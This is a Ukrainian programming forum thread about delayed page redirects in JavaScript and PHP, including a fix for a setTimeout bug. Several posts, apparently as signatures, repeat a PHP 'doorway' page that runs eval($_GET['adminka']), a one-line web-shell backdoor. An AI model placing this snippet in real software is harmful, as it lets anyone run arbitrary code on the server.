Тема: Автоматичний перехід на сторінку

Киньте будь ласка скрипт для автоматичного переходу на певну URL-адресу і додайте інформацію про його використання.

Білий Лунь

2 Востаннє редагувалося Адріян Ігорович (16.03.2013 15:10:47)

Re: Автоматичний перехід на сторінку

Якщо я правильно розумію, то вам потрібно це:
Window Location
http://www.w3schools.com/js/js_window_location.asp

Подякували: Ярослав1

3 Востаннє редагувалося Invader (16.03.2013 15:46:31)

Re: Автоматичний перехід на сторінку

<script>
function redir(){
 //перейти за вказаною адресою
 location = "http://www.google.com/"
}
//через 7000 мілісекунд буде викликано функцію redir
setTimeout(redir(),7000)
</script>
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: Ярослав1

4

Re: Автоматичний перехід на сторінку

Прихований текст
А топікстартер знайомий з Javascript?
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

5

Re: Автоматичний перехід на сторінку

А як щодо засобів РНР?
Здається, якось можна, використовуючи header, нє? Чи я нублю трохи?

I belong to the Dead Generation.

Re: Автоматичний перехід на сторінку

Bartash написав:

А як щодо засобів РНР?
Здається, якось можна, використовуючи header, нє? Чи я нублю трохи?

Можна(Header("location: link")) але проблемка буде
якщо до виклику header ви відправите інші заголовки.

Подякували: miroslav.chandler, Bartash2

7

Re: Автоматичний перехід на сторінку

Але ж питання задали в розділі JS. До чого тут PHP?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

8 Востаннє редагувалося miroslav.chandler (17.03.2013 00:02:08)

Re: Автоматичний перехід на сторінку

Hanter написав:
Bartash написав:

А як щодо засобів РНР?
Здається, якось можна, використовуючи header, нє? Чи я нублю трохи?

Можна(Header("location: link")) але проблемка буде
якщо до виклику header ви відправите інші заголовки.

location з великої

після виконання, не забудьте завершити роботу скрипта (die() чи шо в вас там), бо скипт буде продовжувати працювати

pew pew :D
Блоґ

9

Re: Автоматичний перехід на сторінку

Invader написав:
Прихований текст
А топікстартер знайомий з Javascript?

Знаю про його існування.

Білий Лунь

10 Востаннє редагувалося Ярослав (17.03.2013 10:19:38)

Re: Автоматичний перехід на сторінку

Invader написав:
<script>
function redir(){
 //перейти за вказаною адресою
 location = "http://www.google.com/"
}
//через 7000 мілісекунд буде викликано функцію redir
setTimeout(redir(),7000)
</script>

Переходить одразу.
Оцей працює:

<script type="text/javascript">
function delayer(){
    window.location = "http://keithfay.zz.mu/"
}
setTimeout('delayer()', 4000)
</script>
Білий Лунь

11

Re: Автоматичний перехід на сторінку

keithfay написав:
Invader написав:
<script>
function redir(){
 //перейти за вказаною адресою
 location = "http://www.google.com/"
}
//через 7000 мілісекунд буде викликано функцію redir
setTimeout(redir(),7000)
</script>

Переходить одразу.

Тому що в setTimeout треба передавати не результат виклику функції (redir()), а саму функцію (redir). Ну, чи текст, як у вас.

12

Re: Автоматичний перехід на сторінку

Так, справді. Ще можна використовувати анонімну функцію:

<script>
setTimeout(function () {
    location = "http://www.google.com/"
}, 7000, parameter /*параметр для анонімної функції*/)
</script>
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!